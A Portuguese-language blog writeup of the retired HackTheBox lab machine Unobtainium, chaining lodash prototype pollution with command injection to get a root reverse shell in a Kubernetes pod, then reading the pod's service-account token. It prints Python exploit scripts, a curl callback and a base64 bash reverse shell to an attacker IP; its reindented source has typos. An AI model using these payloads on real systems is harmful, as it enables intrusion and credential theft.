DEV Community

Guilherme Martins
Guilherme Martins

Posted on

HackTheBox - Writeup Unobtainium [Retired]

HackTheBox - Writeup Unobtainium

Neste writeup iremos explorar uma máquina linux de nível hard chamada Unobtainium. Esta máquina aborda as seguintes vulnerabilidades e técnicas de exploração:

  • Prototype Pollution
  • Command Injection
  • Kubernetes permission abuse
  • Container escape

Recon e primeiro shell

Iremos iniciar realizando uma varredura em nosso alvo buscando por portas abertas, para isso vamos utilizar o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# nmap -sV --open -Pn 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-19 17:27 EST
Nmap scan report for 10.129.136.226
Host is up (0.24s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
8443/tcp  open  ssl/https-alt
31337/tcp open  http          Node.js Express framework
Enter fullscreen mode Exit fullscreen mode

Podemos notar algumas portas abertas em nosso alvo:

  • 22 rodando um OpenSSH 8.2p1
  • 80 que esta rodando um servidor web Apache 2.4.41
  • 8443 possui algum serviço que utiliza ssl/https
  • 31337 que esta rodando uma aplicação em NodeJS Express, um framework de javascript

Ao realizar um curl na porta 31337 temos o retorno de um array vazio:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl http://10.129.136.226:31337/             
[]  
Enter fullscreen mode Exit fullscreen mode

Ou pelo navegador:

Image description

Ja na porta 8443 é solicitado que seja usado o ssl/https, conforme informado pelo nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl https://10.129.136.226:8443/
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl -k https://10.129.136.226:8443/      
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}   
Enter fullscreen mode Exit fullscreen mode

Aqui temos um retorno interessantee, onde pela estrutura do json de retorno podemos constatar que se trata de uma kube-api, que é o endpoint onde é feito a comunicação com o kubernetes.

Visualizando o conteúdo da porta 80 através do navegador, por se tratar um servidor web, temos o seguinte conteúdo:

Image description

É uma página de download que disponibiliza uma app de chat multi plataforma com opção de download para pacotes Debian (.deb), Redhat/CentOS (.rpm) e snap que é comumente usado no Ubuntu.
Como estamos rodando em nossa máquina virtual o kali linux vamos realizar o download do arquivo deb.

Com o arquivo em nossa máquina podemos visualizar informações sobre o pacote com o seguinte comando:

──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg --info unobtainium_1.0.0_amd64.deb
 new Debian package, version 2.0.
 size 54849036 bytes: control archive=2887 bytes.
     400 bytes,    13 lines      control
    5426 bytes,    80 lines      md5sums
     289 bytes,    10 lines   *  postinst             #!/bin/bash
      74 bytes,     4 lines   *  postrm               #!/bin/bash
 Package: unobtainium
 Version: 1.0.0
 License: ISC
 Vendor: felamos <felamos@unobtainium.htb>
 Architecture: amd64
 Maintainer: felamos <felamos@unobtainium.htb>
 Installed-Size: 185617
 Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0
 Section: default
 Priority: extra
 Homepage: http://unobtainium.htb
 Description:
   client
Enter fullscreen mode Exit fullscreen mode

Aqui temos algumas informações sobre depêndencias, mantenedor, versão e scripts contidos no mesmo.

Podemos visualizar os arquivos e saber seu conteúdo:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg -c unobtainium_1.0.0_amd64.deb
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/32x32/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/32x32/apps/
-rw-r--r-- 0/0            2021 1970-01-04 10:38 ./usr/share/icons/hicolor/32x32/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/48x48/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/48x48/apps/
-rw-r--r-- 0/0            4476 1970-01-04 10:38 ./usr/share/icons/hicolor/48x48/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/256x256/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/256x256/apps/
-rw-r--r-- 0/0           37977 1970-01-04 10:38 ./usr/share/icons/hicolor/256x256/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/128x128/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/128x128/apps/
-rw-r--r-- 0/0           18107 1970-01-04 10:38 ./usr/share/icons/hicolor/128x128/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/64x64/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/64x64/apps/
-rw-r--r-- 0/0            6621 1970-01-04 10:38 ./usr/share/icons/hicolor/64x64/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/16x16/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/16x16/apps/
-rw-r--r-- 0/0             832 1970-01-04 10:38 ./usr/share/icons/hicolor/16x16/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/applications/
-rw-rw-r-- 0/0             181 2021-01-19 01:15 ./usr/share/applications/unobtainium.desktop
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/doc/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/doc/unobtainium/
-rw-r--r-- 0/0             146 2021-01-19 01:15 ./usr/share/doc/unobtainium/changelog.gz
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./opt/
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/
-rwxr-xr-x 0/0         6712992 2021-01-19 01:14 ./opt/unobtainium/libvulkan.so
-rw-r--r-- 0/0          124662 2021-01-19 01:14 ./opt/unobtainium/chrome_100_percent.pak
-rwxr-xr-x 0/0       133649008 2021-01-19 01:14 ./opt/unobtainium/unobtainium
-rwxr-xr-x 0/0         3053896 2021-01-19 01:14 ./opt/unobtainium/libffmpeg.so
-rw-r--r-- 0/0           51449 2021-01-19 01:14 ./opt/unobtainium/snapshot_blob.bin
-rw-r--r-- 0/0          172276 2021-01-19 01:14 ./opt/unobtainium/v8_context_snapshot.bin
-rw-r--r-- 0/0             107 2021-01-19 01:14 ./opt/unobtainium/vk_swiftshader_icd.json
-rw-r--r-- 0/0            1060 2021-01-19 01:14 ./opt/unobtainium/LICENSE.electron.txt
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/locales/
-rw-r--r-- 0/0          184543 2021-01-19 01:14 ./opt/unobtainium/locales/th.pak
...
-rwxr-xr-x 0/0         4746864 2021-01-19 01:14 ./opt/unobtainium/chrome-sandbox
-rwxr-xr-x 0/0          249544 2021-01-19 01:14 ./opt/unobtainium/libEGL.so
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/resources/
-rw-rw-r-- 0/0          592850 2021-01-19 01:14 ./opt/unobtainium/resources/app.asar
-rw-r--r-- 0/0          187289 2021-01-19 01:14 ./opt/unobtainium/chrome_200_percent.pak
-rwxr-xr-x 0/0         6992048 2021-01-19 01:14 ./opt/unobtainium/libGLESv2.so
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/swiftshader/
-rwxr-xr-x 0/0          272424 2021-01-19 01:14 ./opt/unobtainium/swiftshader/libEGL.so
-rwxr-xr-x 0/0         2524480 2021-01-19 01:14 ./opt/unobtainium/swiftshader/libGLESv2.so
-rw-r--r-- 0/0         5035729 2021-01-19 01:14 ./opt/unobtainium/resources.pak
-rw-r--r-- 0/0        10527632 2021-01-19 01:14 ./opt/unobtainium/icudtl.dat
-rw-r--r-- 0/0         4562357 2021-01-19 01:14 ./opt/unobtainium/LICENSES.chromium.html
-rwxr-xr-x 0/0         3907784 2021-01-19 01:14 ./opt/unobtainium/libvk_swiftshader.so
Enter fullscreen mode Exit fullscreen mode

E assim descobrimos se tratar de uma app usando electron, um framework javascript para criação de apps baseadas em browser.
O que nos chama atenção é o arquivo ./opt/unobtainium/resources/app.asar, que é um arquivo baseado em tar, que empacota a o código javascript.

Agora que ja sabemos do que se trata podemos extrair o conteúdo e analisar o arquivo app:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg-deb -R unobtainium_1.0.0_amd64.deb all_files

Enter fullscreen mode Exit fullscreen mode

O comando acima extraiu o conteúdo do .deb para o diretório all_files. Podemos agora extrair o conteúdo do arquivo app.asar:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# ls -alh all_files
total 20K
drwxrwxr-x 5 root root 4.0K Nov 20 09:12 .
drwxr-xr-x 4 root root 4.0K Nov 20 09:12 ..
drwxrwxr-x 2 root root 4.0K Jan 19  2021 DEBIAN
drwxr-xr-x 3 root root 4.0K Jan 19  2021 opt
drwxr-xr-x 3 root root 4.0K Jan 19  2021 usr

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# cd all_files/opt/unobtainium/resources

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# ls -alh
total 588K
drwxrwxr-x 2 root root 4.0K Jan 19  2021 .
drwxrwxr-x 5 root root 4.0K Jan 19  2021 ..
-rw-rw-r-- 1 root root 579K Jan 19  2021 app.asar
Enter fullscreen mode Exit fullscreen mode

Para isso precisamos utilizar a lib asar, para instalar utilizamos o npm:

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# npm install -g asar
npm WARN deprecated asar@3.2.0: Please use @electron/asar moving forward.  There is no API change, just a package name change

added 18 packages in 6s

1 package is looking for funding
  run `npm fund` for details
Enter fullscreen mode Exit fullscreen mode

E assim extraimos o conteúdo do arquivo app.asar

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# asar extract app.asar unobtainium

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# ls -alh
total 592K
drwxrwxr-x 3 root root 4.0K Nov 20 09:21 .
drwxrwxr-x 5 root root 4.0K Jan 19  2021 ..
-rw-rw-r-- 1 root root 579K Jan 19  2021 app.asar
drwxr-xr-x 3 root root 4.0K Nov 20 09:21 unobtainium

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# cd unobtainium

┌──(root㉿kali)-[/home/…/opt/unobtainium/resources/unobtainium]
└─# ls -alh
total 20K
drwxr-xr-x 3 root root 4.0K Nov 20 09:21 .
drwxrwxr-x 3 root root 4.0K Nov 20 09:21 ..
-rw-r--r-- 1 root root  503 Nov 20 09:21 index.js
-rw-r--r-- 1 root root  207 Nov 20 09:21 package.json
drwxr-xr-x 4 root root 4.0K Nov 20 09:21 src
Enter fullscreen mode Exit fullscreen mode

Temos agora arquivos de uma aplicação em javascript, analisando seu conteúdo encontramos algumas informações interessantes.

Primeiro temos o arquivo app.js que contém credenciais de um usuário para acesso na porta 31337, que é a aplicação em NodeJS que vimos retornar um array vazio:

┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# cat app.js
$(document).ready(function(){
    $("#but_submit").click(function(){
        var message = $("#message").val().trim();
        $.ajax({
        url: 'http://unobtainium.htb:31337/',
        type: 'put',
        dataType:'json',
        contentType:'application/json',
        processData: false,
        data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
        success: function(data) {
            //$("#output").html(JSON.stringify(data));
            $("#output").html("Message has been sent!");
        }
    });
});
});
Enter fullscreen mode Exit fullscreen mode

Visando automatizar a interação com a aplicação foi criado o seguinte script em python3:

#!/usr/bin/python3
import requests
import json

url = "http://unobtainium.htb:31337/"

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "text": "something"
    }
}

json_data = json.dumps(data)

headers = {
    "Content-Type": "application/json"
}

response = requests.put(url, data=json_data, headers=headers)

if (response.status_code == 200):
    print("Message sent successfully\n")
    print(response.text)
else:
    print("Failed to send message")
Enter fullscreen mode Exit fullscreen mode

Executando temos o seguinte retorno:

┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-put.py
Message sent successfully

{"ok":true}
Enter fullscreen mode Exit fullscreen mode

Temos outro arquivo chamado todo.js com o seguinte conteúdo:

┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# cat todo.js
$.ajax({
    url: 'http://unobtainium.htb:31337/todo',
    type: 'post',
    dataType:'json',
    contentType:'application/json',
    processData: false,
    data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}),
    success: function(data) {
        $("#output").html(JSON.stringify(data));
    }
});
Enter fullscreen mode Exit fullscreen mode

O mesmo também possui autenticação, no entanto, realiza um POST para o endpoint /todo. Vamos copiar nosso script para um novo e realizar o ajuste. Ficando da seguinte forma:

#!/usr/bin/python3
import requests
import json

url = "http://unobtainium.htb:31337/todo"

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "filename":"todo.js"
}

# Convert dict to json
json_data = json.dumps(data)

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json_data, headers=headers)

if (response.status_code == 200):
    print("Message sent successfully\n")
    print(response.text)
else:
    print("Failed to send message")
Enter fullscreen mode Exit fullscreen mode

E ao executar temos o seguinte retorno:

┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-post-todo.py
Message sent successfully

{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
Enter fullscreen mode Exit fullscreen mode

O retorno veio sem quebra de linha, mas tem o seguinte conteúdo:

  1. Create administrator zone.
  2. Update node JS API Server.
  3. Add Login functionality.
  4. Complete Get Messages feature.
  5. Complete ToDo feature.
  6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1
  7. Improve security

Pontos interessantes, que nos informa que existem features não finalizadas e que alguns pontos precisam de melhora na segurança.

Um ponto interessante dessa interação com o endpoint /todo é que ele le um arquivo txt. E se alterarmos o arquivo para tentar visualizar outros do alvo?

Na primeira tentativa foi inserido o /etc/passwd, como padrão para LFI. No entanto, ocorreu timeout na conexão. Mas conseguimos buscar por outro arquivo no mesmo diretório, como se trata de uma app em javascript o arquivo que tentamos buscar foi o index.js.

E esse conseguimos:

┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-post-todo.py
Message sent successfully

{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
Enter fullscreen mode Exit fullscreen mode

Assim como o arquivo todo.txt o arquivo index.js retornou com a formatação "quebrada", mas utilizando o vscode facilmente podemos ajustar sua identação. E assim temos o seguinte conteúdo:

var root = require("google-cloudstgoogleorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
      {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
      return users.find((u) =>
        u.name === auth.name &&
        u.password === auth.password);
}

app.use(bodyParser.json());

ap.get('/', (req, res) => {
      res.send(messages);
});p

app.put('/', (req, res) => {
      const user = findUser(req.body.auth || {});

  if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
        icon: '__',
  };

  _.merge(message, req.body.message, {
        id: lastId++,
        timestamp: Date.now(),
        userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

app.delete('/', (req, res) => {
      const user = findUser(req.body.auth || {});

  if (!user || !user.canDelete) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  messages = messages.filter((m) => m.id !== req.body.messageId);
  res.send({ok: true});
});
app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }


  filename = req.body.filename;
  root.upload("./",filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
            const user = findUser(req.body.auth || {});
        if (!user) {
                    res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
        testFolder = "/usr/src/app";
        fs.readdirSync(testFolder).forEach(file => {
                    if (file.indexOf(filename) > -1) {
                            var buffer = fs.readFileSync(filename).toString();
                            res.send({ok: true, content: buffer});
                }
        });
});

app.listen(3000);
console.log('Listening on port 3000...');

Enter fullscreen mode Exit fullscreen mode

Aqui temos basicamente todo o funcionamento da aplicação alvo!

Temos o endpoint /upload que é restrito a usuários que sejam admin.

app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }


  filename = req.body.filename;
  root.upload("./",filename, true);
  res.send({ok: true, Uploaded_File: filename});
});
Enter fullscreen mode Exit fullscreen mode

Temos o objeto User para os usuários:

const users = [
      {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
Enter fullscreen mode Exit fullscreen mode

Onde podemos ver o usuário que utilizamos para acessar a aplicação e o usuário admin, que possui uma senha gerada aleatóriamente.
Aqui vemos que nosso usuário possui as propriedades name e password, ja o usuário admin possui estas e duas a mais que são canDelete: true e canUpload: true

E aqui encontramos nossa primeiro vulnerabilidade, chamada de prototype pollution.

Prototype pollution ocorre porque o JavaScript permite que objetos herdem propriedades e métodos de seus protótipos. Se as devidas precauções não forem tomadas, podemos explorar esse recurso poluindo a cadeia de protótipos com modificações maliciosas.
Em nosso caso podemos adicionar a nosso usuário as propriedades que o admin tem!

Outro ponto importante é que existe um lib externa sendo usada:

var root = require("google-cloudstgoogleorage-commands");
Enter fullscreen mode Exit fullscreen mode

Analisando a mesma notamos que ela não recebe mais atualizações e possui uma vulnerabilidade de Command Injection:
https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431

Em uma analise mais detalhada podemos notar que existe uma má implementação da função exec sem uma sanitização, ocorrendo o command injection.
https://github.com/samradical/google-cloudstorage-commands/blob/master/index.js#L11

E onde essa lib esta sendo utilizada? Em nosso endpoint de upload! Ou seja, podemos adicionar permissões para o nosso usuário utilizar o endpoint e assim executar nosso command injection.

Para isso vamos editar nosso primeiro script chamado req-put.py, onde o conteúdo de data ficará da seguinte forma:

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "text": "something",
        "__proto__":{
            "canUpload": True
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Estamos adicionando mais um campo em messsage onde inserimos __proto_ que é um propriedade especial do javascript para acessar uma propriedade especifica do javascript, nesse caso estamos acessando canUpload e setando para true

Executamos nosso script:

┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-put.py
Message sent successfully

{"ok":true}
Enter fullscreen mode Exit fullscreen mode

Com nosso usuário podendo realizar uploads, vamos mais um vez copiar nosso script para um novo arquivo, dessa vez chamado req-upload.py:

#!/usr/bin/python3
import requests
import json

url = "http://unobtainium.htb:31337/upload"

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "filename":"| curl 10.10.14.152:8081/testing #"
}

json_data = json.dumps(data)

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json_data, headers=headers)

if (response.status_code == 200):
    print("Message sent successfully\n")
    print(response.text)
else:
    print("Failed to send message")

Enter fullscreen mode Exit fullscreen mode

Assim como citado na poc iremos adicionar o seguinte payload em filename::

"filename":"| curl 10.10.14.152:8081/testing | base64 -d |bash #"
Enter fullscreen mode Exit fullscreen mode

Conseguimos comprovar o command injection inserindo um curl para nossa máquina local, onde abrimos um servidor python para ouvir na porta 8081. Assim ao executar o script:

┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-upload.py
Message sent successfully

{"ok":true,"Uploaded_File":"| curl 10.10.14.152:8081/testing #"}
Enter fullscreen mode Exit fullscreen mode

Temos a comprovação da vulnerabilidade através do retorno:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.136.226 - - [20/Nov/2023 13:43:46] code 404, message File not found
10.129.136.226 - - [20/Nov/2023 13:43:46] "GET /testing HTTP/1.1" 404 -
Enter fullscreen mode Exit fullscreen mode

Agora precisamos conseguir um shell em nosso alvo! Para isso tentamos inserir diversos payloads, mas qualquer comando inserido que contenham determinados caracteres não executavam.

Para contornar essa situação foi necessário utilizar um shell reverso em base64. Editando o conteúdo de filename para a seguinte forma:

"filename":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE= | base64 -d |bash #"
Enter fullscreen mode Exit fullscreen mode

Onde o conteúdo do base64 é um shell reverso para nossa máquina local:

echo -n 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE=' | base64 -d
bash -i >&/dev/tcp/10.10.14.152/9001 0>&1
Enter fullscreen mode Exit fullscreen mode

Aqui temos exemplos de diversos tipos de reverse shell: https://pentestbook.six2dez.com/exploitation/reverse-shells

Em uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001. O pwncat é um reverse shell "tunado" onde ja existem diversas opções para interagir com o alvo e um shell muito bom.

┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# pwncat-cs -lp 9001
[13:45:25] Welcome to pwncat 🐈!                                                                                    __main__.py:164
Enter fullscreen mode Exit fullscreen mode

E ao executar nosso script:

┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-upload.py
Message sent successfully

{"ok":true,"Uploaded_File":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE= | base64 -d |bash #"}
Enter fullscreen mode Exit fullscreen mode

Temos o seguinte retorno em nosso pwncat:

┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# pwncat-cs -lp 9001
[13:45:25] Welcome to pwncat 🐈!                                                                                    __main__.py:164
[13:54:05] received connection from 10.129.136.226:49621                                                                 bind.py:84
[13:54:13] 10.129.136.226:49621: registered new host w/ db                                                           manager.py:957
(local) pwncat$
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

User flag e movimentação lateral

Temos nosso shell no alvo, mas existe um porém. Em uma rápida análise podemos constatar que estamos em um container:

(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HISTCONTROL=ignorespace
HOSTNAME=webapp-deployment-9546bc7cb-b7k2g
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PROTO=tcp
YARN_VERSION=1.22.19
PWD=/usr/src/app
WEBAPP_DEPLOYMENT_PORT=tcp://10.43.177.186:3000
WEBAPP_DEPLOYMENT_SERVICE_PORT=3000
WEBAPP_DEPLOYMENT_SERVICE_HOST=10.43.177.186
HOME=/root
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WEBAPP_DEPLOYMENT_PORT_3000_TCP_ADDR=10.43.177.186
TERM=xterm-256color
WEBAPP_DEPLOYMENT_PORT_3000_TCP=tcp://10.43.177.186:3000
SHLVL=3
KUBERNETES_PORT_443_TCP_PROTO=tcp
canUpload=true
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=14.20.0
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PORT=3000
_=/usr/bin/env
Enter fullscreen mode Exit fullscreen mode

Sendo mais especifico estamos dentro do um container em um pod no kubernetes.
O kubernetes é um orquestrador de containers com foco em automatizar a implantação e gerencia automatizada de software, a sua unidade minima é o pod.

Através das envs podemos ver diversas variáveis de ambiente que nos mostram diversas configurações do pod em que estamos.
A porta que esta exposta (3000) o endereço ip do pod (10.43.177.186), versão do NodeJS (14.20.0), dentre outras configurações. Outro ponto interessante é o hostname do container, que é o nome do pod (webapp-deployment-9546bc7cb-b7k2g)

Um ponto interessante é que os pods armazenam arquivos que permitem que o mesmo se comunique com a api do kubernetes, são dois arquivos que iremos buscar, o token e o certificate.

root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/token
